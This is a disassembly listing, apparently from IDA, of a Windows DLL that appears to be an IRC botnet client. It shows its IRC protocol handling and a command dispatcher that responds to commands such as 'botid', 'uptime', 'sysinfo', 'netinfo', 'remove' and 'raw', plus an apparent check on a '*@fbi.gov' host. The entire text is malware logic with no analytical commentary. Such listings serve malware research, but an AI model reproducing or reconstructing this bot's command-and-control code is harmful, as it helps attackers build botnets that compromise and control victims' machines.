		add	esp, 8
		push	0		; flags
		lea	edx, [ebp+buf]
		push	edx		; Str
		call	strlen	; strlen
		add	esp, 4
		push	eax		; len
		lea	eax, [ebp+buf]
		push	eax		; buf
		mov	ecx, s
		push	ecx		; s
		call	ds:send	; send
		mov	esp, ebp
		pop	ebp
		retn
sub_10007303	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10007398	proc near		; CODE XREF: sub_10007424+36Bp
					; sub_10007424+462p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	20h		; Count
		push	21h
		push	1
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_10004799
		add	esp, 0Ch
		push	eax		; Source
		push	offset byte_10012B10 ; Dest
		call	ds:strncpy	; strncpy
		add	esp, 0Ch
		push	10h		; Count
		push	40h
		push	1
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_10004799
		add	esp, 0Ch
		push	eax		; Source
		push	offset byte_10012B30 ; Dest
		call	ds:strncpy	; strncpy
		add	esp, 0Ch
		push	10h		; Count
		push	21h
		push	2
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_10004799
		add	esp, 0Ch
		push	eax		; Source
		push	offset byte_10012B30 ; Dest
		call	ds:strncpy	; strncpy
		add	esp, 0Ch
		push	80h		; Count
		push	40h
		push	2
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_10004799
		add	esp, 0Ch
		push	eax		; Source
		push	offset byte_10012B40 ; Dest
		call	ds:strncpy	; strncpy
		add	esp, 0Ch
		pop	ebp
		retn
sub_10007398	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_10007424(char	*Str)

sub_10007424	proc near		; CODE XREF: start+35Bp
					; sub_10007424+551p ...

var_2B58	= dword	ptr -2B58h
var_2B54	= dword	ptr -2B54h
var_2B50	= dword	ptr -2B50h
var_2B4C	= dword	ptr -2B4Ch
var_2B48	= byte ptr -2B48h
var_2B47	= dword	ptr -2B47h
var_2B43	= dword	ptr -2B43h
var_2B3F	= dword	ptr -2B3Fh
var_2B3B	= word ptr -2B3Bh
var_2B39	= byte ptr -2B39h
TempFileName	= byte ptr -2B38h
var_2B37	= byte ptr -2B37h
NumberOfBytesRead= dword ptr -2A34h
hFile		= dword	ptr -2A30h
PathName	= byte ptr -2A2Ch
var_2A2B	= byte ptr -2A2Bh
var_2928	= byte ptr -2928h
var_2927	= byte ptr -2927h
uCode		= dword	ptr -2728h
String		= byte ptr -2724h
var_2620	= dword	ptr -2620h
var_261C	= byte ptr -261Ch
var_2618	= dword	ptr -2618h
var_2614	= dword	ptr -2614h
var_2610	= byte ptr -2610h
var_260C	= dword	ptr -260Ch
var_2608	= dword	ptr -2608h
var_2604	= dword	ptr -2604h
var_2600	= word ptr -2600h
var_25FE	= byte ptr -25FEh
var_25BE	= dword	ptr -25BEh
var_25AD	= dword	ptr -25ADh
var_25A4	= dword	ptr -25A4h
VersionInformation= _OSVERSIONINFOA ptr	-25A0h
var_250C	= dword	ptr -250Ch
var_2508	= dword	ptr -2508h
lpBuffer	= dword	ptr -2504h
nSize		= dword	ptr -2500h
LCData		= byte ptr -24FCh
var_24F0	= dword	ptr -24F0h
var_24EC	= dword	ptr -24ECh
var_24E4	= word ptr -24E4h
Drive		= byte ptr -22E2h
var_21E1	= dword	ptr -21E1h
FullPath	= byte ptr -21DCh
var_20DC	= byte ptr -20DCh
Buffer		= byte ptr -20D0h
var_1FD0	= dword	ptr -1FD0h
var_1FCC	= dword	ptr -1FCCh
var_1ECC	= byte ptr -1ECCh
var_1DCC	= dword	ptr -1DCCh
var_1DC8	= dword	ptr -1DC8h
var_1DC4	= dword	ptr -1DC4h
var_1DC0	= word ptr -1DC0h
var_1DBE	= dword	ptr -1DBEh
var_1D3E	= byte ptr -1D3Eh
var_1D3D	= dword	ptr -1D3Dh
var_1D38	= dword	ptr -1D38h
var_1D34	= dword	ptr -1D34h
var_1D30	= word ptr -1D30h
var_1D2E	= dword	ptr -1D2Eh
var_1CAE	= byte ptr -1CAEh
var_1CAD	= dword	ptr -1CADh
Parameter	= dword	ptr -1CA8h
var_1CA4	= dword	ptr -1CA4h
var_1CA0	= dword	ptr -1CA0h
var_1C20	= byte ptr -1C20h
var_1C1F	= dword	ptr -1C1Fh
var_1C18	= dword	ptr -1C18h
var_1C14	= dword	ptr -1C14h
var_1B14	= byte ptr -1B14h
var_1A13	= byte ptr -1A13h
var_1A12	= byte ptr -1A12h
var_1A11	= dword	ptr -1A11h
var_1A0C	= dword	ptr -1A0Ch
var_1A08	= dword	ptr -1A08h
var_1908	= byte ptr -1908h
var_18F8	= dword	ptr -18F8h
var_18F4	= byte ptr -18F4h
FileName	= byte ptr -17F4h
var_16F4	= byte ptr -16F4h
var_15F4	= byte ptr -15F4h
Parameters	= byte ptr -14F4h
var_13F4	= byte ptr -13F4h
File		= byte ptr -12F4h
SubStr		= byte ptr -11F4h
var_10F4	= byte ptr -10F4h
var_FF4		= dword	ptr -0FF4h
var_FF0		= dword	ptr -0FF0h
var_FEC		= byte ptr -0FECh
var_FE8		= dword	ptr -0FE8h
var_FE4		= byte ptr -0FE4h
var_DE4		= byte ptr -0DE4h
var_BE4		= byte ptr -0BE4h
var_9E4		= byte ptr -9E4h
var_7E4		= dword	ptr -7E4h
var_7E0		= dword	ptr -7E0h
var_7DC		= byte ptr -7DCh
var_5DC		= byte ptr -5DCh
var_3DC		= byte ptr -3DCh
var_1DC		= dword	ptr -1DCh
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
in		= in_addr ptr -1D0h
var_1CC		= dword	ptr -1CCh
Dest		= byte ptr -1C8h
var_188		= byte ptr -188h
var_127		= dword	ptr -127h
var_122		= byte ptr -122h
var_11F		= byte ptr -11Fh
var_116		= byte ptr -116h
var_110		= byte ptr -110h
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
Dst		= dword	ptr -80h
Str2		= dword	ptr -7Ch
Source		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
Str		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 2B58h
		call	__alloca_probe
		push	edi
		push	80h		; Size
		push	0		; Val
		lea	eax, [ebp+Dst]
		push	eax		; Dst
		call	memset	; memset
		add	esp, 0Ch
		push	100h		; Size
		push	0		; Val
		lea	ecx, [ebp+var_188]
		push	ecx		; Dst
		call	memset	; memset
		add	esp, 0Ch
		push	20h
		mov	edx, [ebp+Str]
		push	edx
		call	sub_10004581
		add	esp, 8
		mov	[ebp+var_84], eax
		cmp	[ebp+var_84], 20h
		jle	short loc_10007482
		mov	[ebp+var_84], 20h

loc_10007482:				; CODE XREF: sub_10007424+52j
		mov	[ebp+var_88], 0
		jmp	short loc_1000749D
; ---------------------------------------------------------------------------

loc_1000748E:				; CODE XREF: sub_10007424+A9j
		mov	eax, [ebp+var_88]
		add	eax, 1
		mov	[ebp+var_88], eax

loc_1000749D:				; CODE XREF: sub_10007424+68j
		mov	ecx, [ebp+var_88]
		cmp	ecx, [ebp+var_84]
		jge	short loc_100074CF
		push	20h
		mov	edx, [ebp+var_88]
		add	edx, 1
		push	edx
		mov	eax, [ebp+Str]
		push	eax
		call	sub_10004799
		add	esp, 0Ch
		mov	ecx, [ebp+var_88]
		mov	[ebp+ecx*4+Dst], eax
		jmp	short loc_1000748E
; ---------------------------------------------------------------------------

loc_100074CF:				; CODE XREF: sub_10007424+85j
		mov	edx, [ebp+var_84]
		sub	edx, 1
		mov	[ebp+var_88], edx
		jmp	short loc_100074EF
; ---------------------------------------------------------------------------

loc_100074E0:				; CODE XREF: sub_10007424:loc_10007540j
		mov	eax, [ebp+var_88]
		sub	eax, 1
		mov	[ebp+var_88], eax

loc_100074EF:				; CODE XREF: sub_10007424+BAj
		cmp	[ebp+var_88], 1
		jl	short loc_10007542
		mov	ecx, [ebp+var_88]
		mov	edx, [ebp+ecx*4+Dst]
		movsx	eax, byte ptr [edx]
		cmp	eax, 2Dh
		jnz	short loc_10007540
		mov	ecx, [ebp+var_88]
		mov	edx, [ebp+ecx*4+Dst]
		movsx	eax, byte ptr [edx+2]
		test	eax, eax
		jnz	short loc_10007540
		mov	ecx, [ebp+var_88]
		mov	edx, [ebp+ecx*4+Dst]
		movsx	eax, byte ptr [edx+1]
		mov	[ebp+eax+var_188], 1
		mov	ecx, [ebp+var_88]
		mov	[ebp+ecx*4+Dst], 0

loc_10007540:				; CODE XREF: sub_10007424+E4j
					; sub_10007424+F6j
		jmp	short loc_100074E0
; ---------------------------------------------------------------------------

loc_10007542:				; CODE XREF: sub_10007424+D2j
		cmp	[ebp+Dst], 0
		jnz	short loc_1000754D
		jmp	loc_1000982A
; ---------------------------------------------------------------------------

loc_1000754D:				; CODE XREF: sub_10007424+122j
		mov	edx, [ebp+Dst]
		push	edx		; Str2
		push	offset aPing	; "PING"
		call	ds:_stricmp	; _stricmp
		add	esp, 8
		test	eax, eax
		jnz	short loc_10007574
		mov	eax, [ebp+Str2]
		push	eax		; char
		push	offset aPongS	; "PONG	%s"
		call	sub_10007293
		add	esp, 8

loc_10007574:				; CODE XREF: sub_10007424+13Dj
		cmp	[ebp+Str2], 0
		jnz	short loc_1000757F
		jmp	loc_1000982A
; ---------------------------------------------------------------------------

loc_1000757F:				; CODE XREF: sub_10007424+154j
		mov	ecx, [ebp+Dst]
		add	ecx, 1
		mov	[ebp+Dst], ecx
		mov	edx, [ebp+Str2]
		push	edx		; Str2
		push	offset a001	; "001"
		call	ds:_stricmp	; _stricmp
		add	esp, 8
		test	eax, eax
		jnz	short loc_100075E0
		push	20h		; Count
		mov	eax, [ebp+Source]
		push	eax		; Source
		push	offset byte_10012AF0 ; Dest
		call	ds:strncpy	; strncpy
		add	esp, 0Ch
		push	offset byte_10012AF0 ; char
		push	offset aUserhostS ; "USERHOST %s"
		call	sub_10007293
		add	esp, 8
		push	offset dword_1002C768
		push	offset byte_1002C868 ; char
		push	offset aJoinSS	; "JOIN	%s %s"
		call	sub_10007293
		add	esp, 0Ch
		jmp	loc_1000982A
; ---------------------------------------------------------------------------

loc_100075E0:				; CODE XREF: sub_10007424+178j
		mov	ecx, [ebp+Str2]
		push	ecx		; Str2
		push	offset a302	; "302"
		call	ds:_stricmp	; _stricmp
		add	esp, 8
		test	eax, eax
		jnz	loc_1000773E
		mov	edx, [ebp+var_74]
		add	edx, 1
		mov	[ebp+var_74], edx
		push	3Dh
		push	1
		mov	eax, [ebp+var_74]
		push	eax
		call	sub_10004799
		add	esp, 0Ch
		push	eax		; Str2
		push	offset byte_10012AF0 ; Str1
		call	ds:_stricmp	; _stricmp
		add	esp, 8
		test	eax, eax
		jnz	loc_10007739
		push	40h
		push	2
		mov	ecx, [ebp+var_74]
		push	ecx
		call	sub_10004799
		add	esp, 0Ch
		push	eax		; Src
		call	sub_10004BF7
		add	esp, 4
		and	eax, 0FFh
		test	eax, eax
		jz	loc_100076D6
		push	10h		; Count
		push	40h
		push	2
		mov	edx, [ebp+var_74]
		push	edx
		call	sub_10004799
		add	esp, 0Ch
		push	eax		; Source
		push	offset byte_1002C5D8 ; Dest
		call	ds:strncpy	; strncpy
		add	esp, 0Ch
		push	offset byte_1002C5D8 ; cp
		call	ds:inet_addr	; inet_addr
		push	eax		; addr
		call	sub_1000495F
		add	esp, 4
		mov	[ebp+var_1CC], eax
		cmp	[ebp+var_1CC], 0
		jnz	short loc_10007699
		jmp	loc_1000982A
; ---------------------------------------------------------------------------

loc_10007699:				; CODE XREF: sub_10007424+26Ej
		cmp	[ebp+var_1CC], 0
		jz	short loc_100076B0
		mov	eax, [ebp+var_1CC]
		mov	[ebp+var_2B4C],	eax
		jmp	short loc_100076BA
; ---------------------------------------------------------------------------

loc_100076B0:				; CODE XREF: sub_10007424+27Cj
		mov	[ebp+var_2B4C],	offset byte_1002C5D8

loc_100076BA:				; CODE XREF: sub_10007424+28Aj
		push	80h		; Count
		mov	ecx, [ebp+var_2B4C]
		push	ecx		; Source
		push	offset byte_10012A70 ; Dest
		call	ds:strncpy	; strncpy
		add	esp, 0Ch
		jmp	short loc_10007739
; ---------------------------------------------------------------------------

loc_100076D6:				; CODE XREF: sub_10007424+226j
		push	80h		; Count
		push	40h
		push	2
		mov	edx, [ebp+var_74]
		push	edx
		call	sub_10004799
		add	esp, 0Ch
		push	eax		; Source
		push	offset byte_10012A70 ; Dest
		call	ds:strncpy	; strncpy
		add	esp, 0Ch
		push	offset byte_10012A70 ; name
		call	sub_10004763
		add	esp, 4
		mov	dword ptr [ebp+in.S_un], eax
		cmp	dword ptr [ebp+in.S_un], 0
		jnz	short loc_1000771B
		jmp	loc_1000982A
; ---------------------------------------------------------------------------

loc_1000771B:				; CODE XREF: sub_10007424+2F0j
		push	10h		; Count
		mov	eax, dword ptr [ebp+in.S_un]
		push	eax		; in
		call	ds:inet_ntoa	; inet_ntoa
		push	eax		; Source
		push	offset byte_1002C5D8 ; Dest
		call	ds:strncpy	; strncpy
		add	esp, 0Ch

loc_10007739:				; CODE XREF: sub_10007424+200j
					; sub_10007424+2B0j
		jmp	loc_1000982A
; ---------------------------------------------------------------------------

loc_1000773E:				; CODE XREF: sub_10007424+1D0j
		mov	ecx, [ebp+Str2]
		push	ecx		; Str2
		push	offset a433	; "433"
		call	ds:_stricmp	; _stricmp
		add	esp, 8
		test	eax, eax
		jnz	short loc_1000776C
		call	sub_10006FA2
		push	eax		; char
		push	offset aNickS	; "NICK	%s"
		call	sub_10007293
		add	esp, 8
		jmp	loc_1000982A
; ---------------------------------------------------------------------------

loc_1000776C:				; CODE XREF: sub_10007424+32Ej
		mov	edx, [ebp+Str2]
		push	edx		; Str2
		push	offset aNick	; "NICK"
		call	ds:_stricmp	; _stricmp
		add	esp, 8
		test	eax, eax
		jnz	short loc_100077C7
		mov	eax, [ebp+Source]
		add	eax, 1
		mov	[ebp+Source], eax
		mov	ecx, [ebp+Dst]
		push	ecx
		call	sub_10007398
		add	esp, 4
		push	offset byte_10012B10 ; Str2
		push	offset byte_10012AF0 ; Str1
		call	ds:_stricmp	; _stricmp
		add	esp, 8
		test	eax, eax
		jnz	short loc_100077C2
		push	20h		; Count
		mov	edx, [ebp+Source]
		push	edx		; Source
		push	offset byte_10012AF0 ; Dest
		call	ds:strncpy	; strncpy
		add	esp, 0Ch

loc_100077C2:				; CODE XREF: sub_10007424+388j
		jmp	loc_1000982A
; ---------------------------------------------------------------------------

loc_100077C7:				; CODE XREF: sub_10007424+35Cj
		mov	eax, [ebp+Str2]
		push	eax		; Str2
		push	offset aKick	; "KICK"
		call	ds:_stricmp	; _stricmp
		add	esp, 8
		test	eax, eax
		jnz	short loc_10007824
		mov	ecx, [ebp+var_74]
		push	ecx		; Str2
		push	offset byte_10012AF0 ; Str1
		call	ds:_stricmp	; _stricmp
		add	esp, 8
		test	eax, eax
		jnz	short loc_1000781F
		mov	edx, [ebp+Source]
		push	edx		; Str2
		push	offset byte_1002C868 ; Str1
		call	ds:_stricmp	; _stricmp
		add	esp, 8
		test	eax, eax
		jnz	short loc_1000781F
		push	offset dword_1002C768
		mov	eax, [ebp+Source]
		push	eax		; char
		push	offset aJoinSS_0 ; "JOIN %s %s"
		call	sub_10007293
		add	esp, 0Ch

loc_1000781F:				; CODE XREF: sub_10007424+3CDj
					; sub_10007424+3E3j
		jmp	loc_1000982A
; ---------------------------------------------------------------------------

loc_10007824:				; CODE XREF: sub_10007424+3B7j
		mov	ecx, [ebp+Str2]
		push	ecx		; Str2
		push	offset aPrivmsg	; "PRIVMSG"
		call	ds:_stricmp	; _stricmp
		add	esp, 8
		test	eax, eax
		jz	short loc_10007854
		mov	edx, [ebp+Str2]
		push	edx		; Str2
		push	offset a332	; "332"
		call	ds:_stricmp	; _stricmp
		add	esp, 8
		test	eax, eax
		jnz	loc_1000982A

loc_10007854:				; CODE XREF: sub_10007424+414j
		mov	eax, [ebp+Str2]
		push	eax		; Str2
		push	offset aPrivmsg_0 ; "PRIVMSG"
		call	ds:_stricmp	; _stricmp
		add	esp, 8
		test	eax, eax
		jnz	loc_100079FA
		mov	ecx, [ebp+var_74]
		add	ecx, 1
		mov	[ebp+var_74], ecx
		cmp	[ebp+var_74], 0
		jnz	short loc_10007882
		jmp	loc_1000982A
; ---------------------------------------------------------------------------

loc_10007882:				; CODE XREF: sub_10007424+457j
		mov	edx, [ebp+Dst]
		push	edx
		call	sub_10007398
		add	esp, 4
		mov	eax, [ebp+Source]
		push	eax		; Str2
		push	offset byte_10012AF0 ; Str1
		call	ds:_stricmp	; _stricmp
		add	esp, 8
		test	eax, eax
		jnz	short loc_100078BD
		push	40h		; Count
		push	offset byte_10012B10 ; Source
		lea	ecx, [ebp+Dest]
		push	ecx		; Dest
		call	ds:strncpy	; strncpy
		add	esp, 0Ch
		jmp	short loc_100078D3
; ---------------------------------------------------------------------------

loc_100078BD:				; CODE XREF: sub_10007424+47Ej
		push	40h		; Count
		mov	edx, [ebp+Source]
		push	edx		; Source
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	ds:strncpy	; strncpy
		add	esp, 0Ch

loc_100078D3:				; CODE XREF: sub_10007424+497j
		mov	ecx, [ebp+var_74]
		push	ecx		; Str2
		push	offset byte_10012AF0 ; Str1
		call	ds:_stricmp	; _stricmp
		add	esp, 8
		test	eax, eax
		jnz	short loc_100078F5
		mov	[ebp+var_1D4], 4
		jmp	short loc_100078FF
; ---------------------------------------------------------------------------

loc_100078F5:				; CODE XREF: sub_10007424+4C3j
		mov	[ebp+var_1D4], 3

loc_100078FF:				; CODE XREF: sub_10007424+4CFj
		mov	edx, [ebp+var_1D4]
		cmp	[ebp+edx*4+Dst], 0
		jnz	short loc_10007911
		jmp	loc_1000982A
; ---------------------------------------------------------------------------

loc_10007911:				; CODE XREF: sub_10007424+4E6j
		push	3Bh
		mov	eax, [ebp+Str]
		push	eax
		call	sub_10004581
		add	esp, 8
		mov	[ebp+var_1D8], eax
		cmp	[ebp+var_1D8], 2
		jl	loc_100079F5
		push	200h		; Count
		mov	ecx, [ebp+Dst]
		push	ecx		; Source
		lea	edx, [ebp+var_5DC]
		push	edx		; Dest
		call	ds:strncpy	; strncpy
		add	esp, 0Ch
		push	200h		; Count
		mov	eax, [ebp+Source]
		push	eax		; Source
		lea	ecx, [ebp+var_3DC]
		push	ecx		; Dest
		call	ds:strncpy	; strncpy
		add	esp, 0Ch
		push	3Bh
		push	1
		mov	edx, [ebp+Str]
		push	edx
		call	sub_10004799
		add	esp, 0Ch
		push	eax		; Str
		call	sub_10007424
		add	esp, 4
		mov	[ebp+var_1DC], 2
		jmp	short loc_10007998
; ---------------------------------------------------------------------------

loc_10007989:				; CODE XREF: sub_10007424+5CFj
		mov	eax, [ebp+var_1DC]
		add	eax, 1
		mov	[ebp+var_1DC], eax

loc_10007998:				; CODE XREF: sub_10007424+563j
		mov	ecx, [ebp+var_1DC]
		cmp	ecx, [ebp+var_1D8]
		jg	short loc_100079F5
		push	3Bh
		mov	edx, [ebp+var_1DC]
		push	edx
		mov	eax, [ebp+Str]
		push	eax
		call	sub_10004799
		add	esp, 0Ch
		push	eax
		lea	ecx, [ebp+var_3DC]
		push	ecx
		lea	edx, [ebp+var_5DC]
		push	edx
		push	offset aSPrivmsgSS ; ":%s PRIVMSG %s :%s"
		push	200h		; Count
		lea	eax, [ebp+var_7DC]
		push	eax		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 18h
		lea	ecx, [ebp+var_7DC]
		push	ecx		; Str
		call	sub_10007424
		add	esp, 4
		jmp	short loc_10007989
; ---------------------------------------------------------------------------

loc_100079F5:				; CODE XREF: sub_10007424+508j
					; sub_10007424+580j
		jmp	loc_10007B4C
; ---------------------------------------------------------------------------

loc_100079FA:				; CODE XREF: sub_10007424+444j
		mov	edx, [ebp+Str2]
		push	edx		; Str2
		push	offset a332_0	; "332"
		call	ds:_stricmp	; _stricmp
		add	esp, 8
		test	eax, eax
		jnz	loc_10007B4C
		mov	eax, [ebp+var_70]
		add	eax, 1
		mov	[ebp+var_70], eax
		cmp	[ebp+var_70], 0
		jnz	short loc_10007A28
		jmp	loc_1000982A
; ---------------------------------------------------------------------------

loc_10007A28:				; CODE XREF: sub_10007424+5FDj
		push	40h		; Count
		mov	ecx, [ebp+var_74]
		push	ecx		; Source
		lea	edx, [ebp+Dest]
		push	edx		; Dest
		call	ds:strncpy	; strncpy
		add	esp, 0Ch
		mov	[ebp+var_1D4], 4
		push	3Bh
		mov	eax, [ebp+Str]
		push	eax
		call	sub_10004581
		add	esp, 8
		mov	[ebp+var_7E0], eax
		cmp	[ebp+var_7E0], 2
		jl	loc_10007B4C
		push	200h		; Count
		mov	ecx, [ebp+Dst]
		push	ecx		; Source
		lea	edx, [ebp+var_DE4]
		push	edx		; Dest
		call	ds:strncpy	; strncpy
		add	esp, 0Ch
		push	200h		; Count
		mov	eax, [ebp+Source]
		push	eax		; Source
		lea	ecx, [ebp+var_BE4]
		push	ecx		; Dest
		call	ds:strncpy	; strncpy
		add	esp, 0Ch
		push	200h		; Count
		mov	edx, [ebp+var_74]
		push	edx		; Source
		lea	eax, [ebp+var_9E4]
		push	eax		; Dest
		call	ds:strncpy	; strncpy
		add	esp, 0Ch
		push	3Bh
		push	1
		mov	ecx, [ebp+Str]
		push	ecx
		call	sub_10004799
		add	esp, 0Ch
		push	eax		; Str
		call	sub_10007424
		add	esp, 4
		mov	[ebp+var_7E4], 2
		jmp	short loc_10007AE8
; ---------------------------------------------------------------------------

loc_10007AD9:				; CODE XREF: sub_10007424+726j
		mov	edx, [ebp+var_7E4]
		add	edx, 1
		mov	[ebp+var_7E4], edx

loc_10007AE8:				; CODE XREF: sub_10007424+6B3j
		mov	eax, [ebp+var_7E4]
		cmp	eax, [ebp+var_7E0]
		jg	short loc_10007B4C
		push	3Bh
		mov	ecx, [ebp+var_7E4]
		push	ecx
		mov	edx, [ebp+Str]
		push	edx
		call	sub_10004799
		add	esp, 0Ch
		push	eax
		lea	eax, [ebp+var_9E4]
		push	eax
		lea	ecx, [ebp+var_BE4]
		push	ecx
		lea	edx, [ebp+var_DE4]
		push	edx
		push	offset aS332SSS	; ":%s 332 %s %s :%s"
		push	200h		; Count
		lea	eax, [ebp+var_FE4]
		push	eax		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 1Ch
		lea	ecx, [ebp+var_FE4]
		push	ecx		; Str
		call	sub_10007424
		add	esp, 4
		jmp	short loc_10007AD9
; ---------------------------------------------------------------------------

loc_10007B4C:				; CODE XREF: sub_10007424:loc_100079F5j
					; sub_10007424+5EAj ...
		push	21h
		push	2
		mov	edx, [ebp+Dst]
		push	edx
		call	sub_10004799
		add	esp, 0Ch
		push	eax
		push	offset a@fbi_gov ; "*@fbi.gov"
		call	sub_1000ACB2
		add	esp, 8
		test	eax, eax
		jnz	short loc_10007B89
		mov	eax, [ebp+Str2]
		push	eax		; Str2
		push	offset a332_1	; "332"
		call	ds:_stricmp	; _stricmp
		add	esp, 8
		test	eax, eax
		jz	short loc_10007B89
		jmp	loc_1000982A
; ---------------------------------------------------------------------------

loc_10007B89:				; CODE XREF: sub_10007424+748j
					; sub_10007424+75Ej
		mov	ecx, [ebp+var_1D4]
		mov	edx, [ebp+ecx*4+Dst]
		push	edx		; Str2
		push	offset aBotid	; "botid"
		call	ds:_stricmp	; _stricmp
		add	esp, 8
		test	eax, eax
		jnz	short loc_10007BC4
		push	offset Name	; char
		push	offset aBotidS___ ; "{BOTID}: %s..."
		lea	eax, [ebp+Dest]
		push	eax		; int
		call	sub_10007303
		add	esp, 0Ch
		jmp	loc_1000982A
; ---------------------------------------------------------------------------

loc_10007BC4:				; CODE XREF: sub_10007424+780j
		mov	ecx, [ebp+var_1D4]
		mov	edx, [ebp+ecx*4+Dst]
		push	edx		; Str2
		push	offset aUptime	; "uptime"
		call	ds:_stricmp	; _stricmp
		add	esp, 8
		test	eax, eax
		jnz	loc_10007CB1
		call	ds:GetTickCount	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	[ebp+var_FE8], eax
		mov	eax, [ebp+var_FE8]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	dword ptr [ebp+var_FEC], eax
		mov	edx, [ebp+var_1D4]
		cmp	[ebp+edx*4+Str2], 0
		jz	short loc_10007C38
		mov	eax, [ebp+var_1D4]
		mov	ecx, [ebp+eax*4+Str2]
		push	ecx		; Str
		call	ds:atol	; atol
		add	esp, 4
		cmp	dword ptr [ebp+var_FEC], eax
		jb	short loc_10007CAC

loc_10007C38:				; CODE XREF: sub_10007424+7F6j
		mov	eax, [ebp+var_FE8]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	[ebp+var_FF0], eax
		mov	eax, [ebp+var_FE8]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 3Ch
		div	ecx
		mov	[ebp+var_FF4], eax
		mov	edx, [ebp+var_FF4]
		push	edx
		mov	eax, [ebp+var_FF0]
		push	eax
		mov	ecx, dword ptr [ebp+var_FEC]
		push	ecx		; char
		push	offset aUptimeLudLuhLu ; "{UPTIME}: %lud %luh %lum..."
		lea	edx, [ebp+Dest]
		push	edx		; int
		call	sub_10007303
		add	esp, 14h

loc_10007CAC:				; CODE XREF: sub_10007424+812j
		jmp	loc_1000982A
; ---------------------------------------------------------------------------

loc_10007CB1:				; CODE XREF: sub_10007424+7BBj
		mov	eax, [ebp+var_1D4]
		mov	ecx, [ebp+eax*4+Dst]
		push	ecx		; Str2
		push	offset aSysinfo	; "sysinfo"
		call	ds:_stricmp	; _stricmp
		add	esp, 8
		test	eax, eax
		jnz	short loc_10007CED
		call	sub_10004987
		push	eax		; char
		push	offset aSysinfoS___ ; "{SYSINFO}: %s..."
		lea	edx, [ebp+Dest]
		push	edx		; int
		call	sub_10007303
		add	esp, 0Ch
		jmp	loc_1000982A
; ---------------------------------------------------------------------------

loc_10007CED:				; CODE XREF: sub_10007424+8A8j
		mov	eax, [ebp+var_1D4]
		mov	ecx, [ebp+eax*4+Dst]
		push	ecx		; Str2
		push	offset aNetinfo	; "netinfo"
		call	ds:_stricmp	; _stricmp
		add	esp, 8
		test	eax, eax
		jnz	short loc_10007D29
		call	sub_10004BB5
		push	eax		; char
		push	offset aNetinfoS___ ; "{NETINFO}: %s..."
		lea	edx, [ebp+Dest]
		push	edx		; int
		call	sub_10007303
		add	esp, 0Ch
		jmp	loc_1000982A
; ---------------------------------------------------------------------------

loc_10007D29:				; CODE XREF: sub_10007424+8E4j
		mov	eax, [ebp+var_1D4]
		mov	ecx, [ebp+eax*4+Dst]
		push	ecx		; Str2
		push	offset aReconnect ; "reconnect"
		call	ds:_stricmp	; _stricmp
		add	esp, 8
		test	eax, eax
		jnz	short loc_10007D58
		push	offset aQuit_1	; "QUIT"
		call	sub_10007293
		add	esp, 4
		jmp	loc_1000982A
; ---------------------------------------------------------------------------

loc_10007D58:				; CODE XREF: sub_10007424+920j
		mov	edx, [ebp+var_1D4]
		mov	eax, [ebp+edx*4+Dst]
		push	eax		; Str2
		push	offset aExit	; "exit"
		call	ds:_stricmp	; _stricmp
		add	esp, 8
		test	eax, eax
		jnz	short loc_10007D8F
		call	sub_1000AAE1
		push	offset aQuit_2	; "QUIT"
		call	sub_10007293
		add	esp, 4
		push	0		; Code
		call	ds:exit	; exit
; ---------------------------------------------------------------------------

loc_10007D8F:				; CODE XREF: sub_10007424+94Fj
		mov	ecx, [ebp+var_1D4]
		mov	edx, [ebp+ecx*4+Dst]
		push	edx		; Str2
		push	offset aRemove	; "remove"
		call	ds:_stricmp	; _stricmp
		add	esp, 8
		test	eax, eax
		jnz	short loc_10007DF6
		mov	eax, [ebp+var_1D4]
		cmp	[ebp+eax*4+Str2], 0
		jz	short loc_10007DDA
		mov	ecx, [ebp+var_1D4]
		mov	edx, [ebp+ecx*4+Str2]
		push	edx		; Str2
		push	offset Name	; Str1
		call	strcmp	; strcmp
		add	esp, 8
		test	eax, eax
		jnz	short loc_10007DDA
		jmp	loc_1000982A
; ---------------------------------------------------------------------------

loc_10007DDA:				; CODE XREF: sub_10007424+993j
					; sub_10007424+9AFj
		call	sub_1000AAE1
		push	offset aQuit_3	; "QUIT"
		call	sub_10007293
		add	esp, 4
		call	sub_10004EA7
; ---------------------------------------------------------------------------
		jmp	loc_1000982A
; ---------------------------------------------------------------------------

loc_10007DF6:				; CODE XREF: sub_10007424+986j
		mov	eax, [ebp+var_1D4]
		mov	ecx, [ebp+eax*4+Dst]
		push	ecx		; Str2
		push	offset aRaw	; "raw"
		call	ds:_stricmp	; _stricmp
		add	esp, 8
		test	eax, eax
		jnz	loc_10007EDE
		mov	edx, [ebp+var_1D4]
		cmp	[ebp+edx*4+Str2], 0
		jnz	short loc_10007E29
		jmp	loc_1000982A
; ---------------------------------------------------------------------------

loc_10007E29:				; CODE XREF: sub_10007424+9FEj
		mov	eax, [ebp+var_1D4]
		mov	ecx, [ebp+eax*4+Str2]
		push	ecx
		push	offset aS_1	; " %s"
		push	100h		; Count
		lea	edx, [ebp+SubStr]
		push	edx		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 10h
		push	100h		; Count
		lea	eax, [ebp+SubStr]
		push	eax		; SubStr
		mov	ecx, [ebp+Str]
		push	ecx		; Str
		call	ds:strstr	; strstr
		add	esp, 8
		push	eax		; Source
		lea	edx, [ebp+var_10F4]
		push	edx		; Dest
		call	ds:strncpy	; strncpy
		add	esp, 0Ch
